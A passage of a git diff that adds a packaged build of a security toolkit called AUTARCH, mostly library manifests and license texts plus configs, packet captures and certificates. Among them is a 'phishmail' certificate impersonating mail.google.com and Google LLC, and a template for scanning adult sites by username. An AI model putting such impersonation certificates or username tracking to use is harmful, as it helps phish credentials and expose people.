+cryptography/hazmat/primitives/_serialization.py,sha256=chgPCSF2jxI2Cr5gB-qbWXOvOfupBh4CARS0KAhv9AM,5123 +cryptography/hazmat/primitives/asymmetric/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180 +cryptography/hazmat/primitives/asymmetric/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/dh.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/dsa.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/ec.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/ed25519.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/ed448.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/padding.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/rsa.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/types.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/utils.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/x25519.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/__pycache__/x448.cpython-313.pyc,, +cryptography/hazmat/primitives/asymmetric/dh.py,sha256=0v_vEFFz5pQ1QG-FkWDyvgv7IfuVZSH5Q6LyFI5A8rg,3645 +cryptography/hazmat/primitives/asymmetric/dsa.py,sha256=Ld_bbbqQFz12dObHxIkzEQzX0SWWP41RLSWkYSaKhqE,4213 +cryptography/hazmat/primitives/asymmetric/ec.py,sha256=dj0ZR_jTVI1wojjipjbXNVccPSIRObWxSZcTGQKGbHc,13437 +cryptography/hazmat/primitives/asymmetric/ed25519.py,sha256=jZW5cs472wXXV3eB0sE1b8w64gdazwwU0_MT5UOTiXs,3700 +cryptography/hazmat/primitives/asymmetric/ed448.py,sha256=yAetgn2f2JYf0BO8MapGzXeThsvSMG5LmUCrxVOidAA,3729 +cryptography/hazmat/primitives/asymmetric/padding.py,sha256=vQ6l6gOg9HqcbOsvHrSiJRVLdEj9L4m4HkRGYziTyFA,2854 +cryptography/hazmat/primitives/asymmetric/rsa.py,sha256=ZnKOo2f34MCCOupC03Y1uR-_jiSG5IrelHEmxaME3D4,8303 +cryptography/hazmat/primitives/asymmetric/types.py,sha256=LnsOJym-wmPUJ7Knu_7bCNU3kIiELCd6krOaW_JU08I,2996 +cryptography/hazmat/primitives/asymmetric/utils.py,sha256=DPTs6T4F-UhwzFQTh-1fSEpQzazH2jf2xpIro3ItF4o,790 +cryptography/hazmat/primitives/asymmetric/x25519.py,sha256=_4nQeZ3yJ3Lg0RpXnaqA-1yt6vbx1F-wzLcaZHwSpeE,3613 +cryptography/hazmat/primitives/asymmetric/x448.py,sha256=WKBLtuVfJqiBRro654fGaQAlvsKbqbNkK7c4A_ZCdV0,3642 +cryptography/hazmat/primitives/ciphers/__init__.py,sha256=eyEXmjk6_CZXaOPYDr7vAYGXr29QvzgWL2-4CSolLFs,680 +cryptography/hazmat/primitives/ciphers/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/ciphers/__pycache__/aead.cpython-313.pyc,, +cryptography/hazmat/primitives/ciphers/__pycache__/algorithms.cpython-313.pyc,, +cryptography/hazmat/primitives/ciphers/__pycache__/base.cpython-313.pyc,, +cryptography/hazmat/primitives/ciphers/__pycache__/modes.cpython-313.pyc,, +cryptography/hazmat/primitives/ciphers/aead.py,sha256=Fzlyx7w8KYQakzDp1zWgJnIr62zgZrgVh1u2h4exB54,634 +cryptography/hazmat/primitives/ciphers/algorithms.py,sha256=Q7ZJwcsx83Mgxv5y7r6CyJKSdsOwC-my-5A67-ma2vw,3407 +cryptography/hazmat/primitives/ciphers/base.py,sha256=aBC7HHBBoixebmparVr0UlODs3VD0A7B6oz_AaRjDv8,4253 +cryptography/hazmat/primitives/ciphers/modes.py,sha256=20stpwhDtbAvpH0SMf9EDHIciwmTF-JMBUOZ9bU8WiQ,8318 +cryptography/hazmat/primitives/cmac.py,sha256=sz_s6H_cYnOvx-VNWdIKhRhe3Ymp8z8J0D3CBqOX3gg,338 +cryptography/hazmat/primitives/constant_time.py,sha256=xdunWT0nf8OvKdcqUhhlFKayGp4_PgVJRU2W1wLSr_A,422 +cryptography/hazmat/primitives/hashes.py,sha256=M8BrlKB3U6DEtHvWTV5VRjpteHv1kS3Zxm_Bsk04cr8,5184 +cryptography/hazmat/primitives/hmac.py,sha256=RpB3z9z5skirCQrm7zQbtnp9pLMnAjrlTUvKqF5aDDc,423 +cryptography/hazmat/primitives/kdf/__init__.py,sha256=4XibZnrYq4hh5xBjWiIXzaYW6FKx8hPbVaa_cB9zS64,750 +cryptography/hazmat/primitives/kdf/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/argon2.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/hkdf.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/pbkdf2.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-313.pyc,, +cryptography/hazmat/primitives/kdf/argon2.py,sha256=UFDNXG0v-rw3DqAQTB1UQAsQC2M5Ejg0k_6OCyhLKus,460 +cryptography/hazmat/primitives/kdf/concatkdf.py,sha256=Ua8KoLXXnzgsrAUmHpyKymaPt8aPRP0EHEaBz7QCQ9I,3737 +cryptography/hazmat/primitives/kdf/hkdf.py,sha256=M0lAEfRoc4kpp4-nwDj9yB-vNZukIOYEQrUlWsBNn9o,543 +cryptography/hazmat/primitives/kdf/kbkdf.py,sha256=oZepvo4evhKkkJQWRDwaPoIbyTaFmDc5NPimxg6lfKg,9165 +cryptography/hazmat/primitives/kdf/pbkdf2.py,sha256=1WIwhELR0w8ztTpTu8BrFiYWmK3hUfJq08I79TxwieE,1957 +cryptography/hazmat/primitives/kdf/scrypt.py,sha256=XyWUdUUmhuI9V6TqAPOvujCSMGv1XQdg0a21IWCmO-U,590 +cryptography/hazmat/primitives/kdf/x963kdf.py,sha256=zLTcF665QFvXX2f8TS7fmBZTteXpFjKahzfjjQcCJyw,1999 +cryptography/hazmat/primitives/keywrap.py,sha256=XV4Pj2fqSeD-RqZVvY2cA3j5_7RwJSFygYuLfk2ujCo,5650 +cryptography/hazmat/primitives/padding.py,sha256=QT-U-NvV2eQGO1wVPbDiNGNSc9keRDS-ig5cQOrLz0E,1865 +cryptography/hazmat/primitives/poly1305.py,sha256=P5EPQV-RB_FJPahpg01u0Ts4S_PnAmsroxIGXbGeRRo,355 +cryptography/hazmat/primitives/serialization/__init__.py,sha256=Q7uTgDlt7n3WfsMT6jYwutC6DIg_7SEeoAm1GHZ5B5E,1705 +cryptography/hazmat/primitives/serialization/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/serialization/__pycache__/base.cpython-313.pyc,, +cryptography/hazmat/primitives/serialization/__pycache__/pkcs12.cpython-313.pyc,, +cryptography/hazmat/primitives/serialization/__pycache__/pkcs7.cpython-313.pyc,, +cryptography/hazmat/primitives/serialization/__pycache__/ssh.cpython-313.pyc,, +cryptography/hazmat/primitives/serialization/base.py,sha256=ikq5MJIwp_oUnjiaBco_PmQwOTYuGi-XkYUYHKy8Vo0,615 +cryptography/hazmat/primitives/serialization/pkcs12.py,sha256=mS9cFNG4afzvseoc5e1MWoY2VskfL8N8Y_OFjl67luY,5104 +cryptography/hazmat/primitives/serialization/pkcs7.py,sha256=5OR_Tkysxaprn4FegvJIfbep9rJ9wok6FLWvWwQ5-Mg,13943 +cryptography/hazmat/primitives/serialization/ssh.py,sha256=hPV5obFznz0QhFfXFPOeQ8y6MsurA0xVMQiLnLESEs8,53700 +cryptography/hazmat/primitives/twofactor/__init__.py,sha256=tmMZGB-g4IU1r7lIFqASU019zr0uPp_wEBYcwdDCKCA,258 +cryptography/hazmat/primitives/twofactor/__pycache__/__init__.cpython-313.pyc,, +cryptography/hazmat/primitives/twofactor/__pycache__/hotp.cpython-313.pyc,, +cryptography/hazmat/primitives/twofactor/__pycache__/totp.cpython-313.pyc,, +cryptography/hazmat/primitives/twofactor/hotp.py,sha256=ivZo5BrcCGWLsqql4nZV0XXCjyGPi_iHfDFltGlOJwk,3256 +cryptography/hazmat/primitives/twofactor/totp.py,sha256=m5LPpRL00kp4zY8gTjr55Hfz9aMlPS53kHmVkSQCmdY,1652 +cryptography/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +cryptography/utils.py,sha256=nFHkPQZycOQGeBtBRkWSA4WjOHFo7pwummQt-PPSkZc,4349 +cryptography/x509/__init__.py,sha256=xloN0swseNx-m2WFZmCA17gOoxQWqeU82UVjEdJBePQ,8257 +cryptography/x509/__pycache__/__init__.cpython-313.pyc,, +cryptography/x509/__pycache__/base.cpython-313.pyc,, +cryptography/x509/__pycache__/certificate_transparency.cpython-313.pyc,, +cryptography/x509/__pycache__/extensions.cpython-313.pyc,, +cryptography/x509/__pycache__/general_name.cpython-313.pyc,, +cryptography/x509/__pycache__/name.cpython-313.pyc,, +cryptography/x509/__pycache__/ocsp.cpython-313.pyc,, +cryptography/x509/__pycache__/oid.cpython-313.pyc,, +cryptography/x509/__pycache__/verification.cpython-313.pyc,, +cryptography/x509/base.py,sha256=OrmTw3y8B6AE_nGXQPN8x9kq-d7rDWeH13gCq6T6D6U,27997 +cryptography/x509/certificate_transparency.py,sha256=JqoOIDhlwInrYMFW6IFn77WJ0viF-PB_rlZV3vs9MYc,797 +cryptography/x509/extensions.py,sha256=QxYrqR6SF1qzR9ZraP8wDiIczlEVlAFuwDRVcltB6Tk,77724 +cryptography/x509/general_name.py,sha256=sP_rV11Qlpsk4x3XXGJY_Mv0Q_s9dtjeLckHsjpLQoQ,7836 +cryptography/x509/name.py,sha256=ty0_xf0LnHwZAdEf-d8FLO1K4hGqx_7DsD3CHwoLJiY,15101 +cryptography/x509/ocsp.py,sha256=Yey6NdFV1MPjop24Mj_VenjEpg3kUaMopSWOK0AbeBs,12699 +cryptography/x509/oid.py,sha256=BUzgXXGVWilkBkdKPTm9R4qElE9gAGHgdYPMZAp7PJo,931 +cryptography/x509/verification.py,sha256=gR2C2c-XZQtblZhT5T5vjSKOtCb74ef2alPVmEcwFlM,958 diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/WHEEL b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/WHEEL new file mode 100644 index 0000000..dcfb13d --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/WHEEL @@ -0,0 +1,4 @@ +Wheel-Version: 1.0 +Generator: maturin (1.9.4) +Root-Is-Purelib: false +Tag: cp311-abi3-win_amd64 diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE new file mode 100644 index 0000000..b11f379 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE @@ -0,0 +1,3 @@ +This software is made available under the terms of *either* of the licenses +found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made +under the terms of *both* these licenses. diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE new file mode 100644 index 0000000..62589ed --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.BSD b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.BSD new file mode 100644 index 0000000..ec1a29d --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/cryptography-46.0.5.dist-info/licenses/LICENSE.BSD @@ -0,0 +1,27 @@ +Copyright (c) Individual contributors. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. Neither the name of PyCA Cryptography nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/custom_sites.inf b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/custom_sites.inf new file mode 100644 index 0000000..38f3bf8 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/custom_sites.inf @@ -0,0 +1,12 @@ +# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments +# +# Example: +# example.com +# another-site.net +# subdomain.site.org +# +# After adding domains, run Bulk Import [B] again +# and provide a test username that exists on these sites. + diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/android_protect/58051FDCG004EJ/honeypot_config.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/android_protect/58051FDCG004EJ/honeypot_config.json new file mode 100644 index 0000000..668de89 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/android_protect/58051FDCG004EJ/honeypot_config.json @@ -0,0 +1,11 @@ +{ + "active": true, + "tier": 2, + "protections": { + "private_dns": "adguard", + "ad_opt_out": true, + "location_accuracy": true, + "diagnostics": true + }, + "activated_at": "2026-02-21T02:55:28.439016" +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145129.pcap b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145129.pcap new file mode 100644 index 0000000..1a14bc1 Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145129.pcap differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145237.pcap b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145237.pcap new file mode 100644 index 0000000..3ded03a Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260217_145237.pcap differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260220_045252.pcap b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260220_045252.pcap new file mode 100644 index 0000000..c1b1a14 Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260220_045252.pcap differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260302_233050.pcap b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260302_233050.pcap new file mode 100644 index 0000000..d5db23a Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/captures/capture_20260302_233050.pcap differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/autarch.crt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/autarch.crt new file mode 100644 index 0000000..e0b627c --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/autarch.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL +BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy +MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO +BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5 +2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L +LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o +DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp +Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW +a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o +OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD +VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB +Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg +DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41 +XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35 +VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1 +U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB +6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm +-----END CERTIFICATE----- diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/phishmail/mail.google.com.crt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/phishmail/mail.google.com.crt new file mode 100644 index 0000000..aa0fa23 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/certs/phishmail/mail.google.com.crt @@ -0,0 +1,20 @@ +-----BEGIN CERTIFICATE----- +MIIDWTCCAkGgAwIBAgIUOzmq7jW+wmCJdR9vdQNaC7/DJCwwDQYJKoZIhvcNAQEL +BQAwPDEYMBYGA1UEAwwPbWFpbC5nb29nbGUuY29tMRMwEQYDVQQKDApHb29nbGUg +TExDMQswCQYDVQQGEwJVUzAeFw0yNjAzMDMxMjA2MDFaFw0yNzAzMDMxMjA2MDFa +MDwxGDAWBgNVBAMMD21haWwuZ29vZ2xlLmNvbTETMBEGA1UECgwKR29vZ2xlIExM +QzELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCO +dJygnzih+j44Z7O08n8lWfIpkEBFQtLeoWWbUhi66uIGnISw0x41LxQRSa0pM/cK +1dkQV9olBxOcmFY6XaT8YP7AXt5NkvH0Y/3vE2JHRJpxw0W8ug2tX4pwWCXMkJn2 +/Ih2d/VBzDLKp4UK+KTse+2qrFRsvReoOuWzXBqpLC2Ch4pvz1skmjA/hsH7OiWx +ADeBrtphh+1vHhMM27x6D0i3K0tSvhoZBamjXt7qzjPtPGj7dXlHB+S6LkAJC5pF +vL5GYTc5gSceoUzgBFWVVfLP2TYYyDpss/LFnWnvWMqqrvsW8WNaMmHeOI9RA+Q+ +rcOjxi7VwDmjm6iwvWFNAgMBAAGjUzBRMB0GA1UdDgQWBBQzYwznwTj7ZM89NikD +ty1B33oAlDAfBgNVHSMEGDAWgBQzYwznwTj7ZM89NikDty1B33oAlDAPBgNVHRMB +Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBhp5GxpRz0lw4uRhJvw3ewhPX6 +UHBnWqMb3g4e3zc7RVWqcN4gj9j4ZTFoJxOs2Hw+VfO1i+x3/f4CSxmFrd6FcqNl +B7rRl1+9zup6Me2EQ+XM6mS4Xwf6gmjSvetpcpJAk42c52JdiXq29zZgAPG9n7iz +DrHN70wsB/xGbA2XqcwsOuy3uoBR3TSj9ka3gzrRC1JkP0phcKxlxUYigWaBB/uH +pl5APHqN5fvPyXkiTdX0YQpnRGONm+aMO/LUutIZj4dghQdpJBdDQgv7r3MZl5Z5 +Q1UWqnkFwgO4/sjd7yU7u7DODV5/QIzJ9BWRyhIOXiTArU1+M80SP79WJHKa +-----END CERTIFICATE----- diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/cve/cve.db b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/cve/cve.db new file mode 100644 index 0000000..98916a9 Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/cve/cve.db differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/ddos_config.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/ddos_config.json new file mode 100644 index 0000000..ac3bb9f --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/ddos_config.json @@ -0,0 +1,8 @@ +{ + "enabled": false, + "auto_block_top_talkers": true, + "auto_enable_syn_cookies": true, + "connection_threshold": 100, + "syn_threshold": 50, + "updated": "2026-03-02T23:30:44.437461" +} \ No newline at end of file diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/config.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/dns/config.json new file mode 100644 index 